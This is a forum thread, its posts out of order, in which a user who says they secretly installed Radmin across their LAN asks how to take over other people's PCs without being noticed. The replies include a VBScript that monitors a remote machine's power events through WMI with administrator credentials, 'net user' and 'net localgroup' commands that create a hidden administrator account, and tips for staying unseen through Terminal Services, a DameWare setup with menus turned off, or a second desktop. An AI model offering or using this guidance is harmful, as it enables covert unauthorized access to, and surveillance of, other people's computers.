if the monitor mode is on, the connection is established, else it will be in listening status. The established status can be seen with netstat -n.

his question was if you are able to see if a remote computer has its monitor turned on/off.
the answer is no you cannot.
but you have the possibility to turn on suspend mode and then monitor the events using wmi.
however once you entered full control mode in radmin the suspend mode will be gone.
this is the reason why you should not use vnc or radmin on boxes you should not have access to, the way you hacked your lan and dont want to get caught.
a vbs like this would work to monitor the power management events on a remote computer.

strComputer = "remote_pc"
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objServices = objLocator.ConnectServer _
 � �(strComputer, "root\cimv2", "Administrator", "password")
objServices.Security_.ImpersonationLevel = 3

Set colMonitoredEvents = _
 � �objServices.ExecNotificationQuery("Select * from Win32_PowerManagementEvent")

Wscript.Echo "Waiting for events ..."

Do
 � �Set objReceivedEvent = colMonitoredEvents.NextEvent
 � �'report an event
 � �Select Case objReceivedEvent.EventType
 � �Case 4
 � �Wscript.Echo "Entering suspend."
 � �Case 7
 � �Wscript.Echo "Resuming from suspend."
 � �End Select
Loop

Hi ppl.
  In the last time I radmined all of my LAN and I find hard to get into full control mode when they are using the PC because they will notice and finally they will find the radmin instalation and del it.
  Is there any soft so i can find if they have their monitor turned off/on so i can have at least any ideea if it's ok to start using their PC ? (full control mode).
Thanks in advance.  :rolleyes:

tried using TS instead of radmin? that way the admin wont see you if he's logged on. (make sure you use a different logon account than the one currently active)

true.. use windows remote desktop and create a user in the shell this way:

net user USERNAME PASSWORD /add
net localgroup administrators /add USERNAME

if u dont wanna get seen, use dameware mini remote control, and make sure u copy over ur config file, where u turn off all menus and all :)

What you need to do, if I understand your question correctly, if create another desktop.

Windows NT+ (I think) supports it. Basically you have one desktop, that the current user see's. and can work with, while another desktop is opened that you can work with.

If you can do a bit of programming I can give you a tool in visual basic which will help you do this
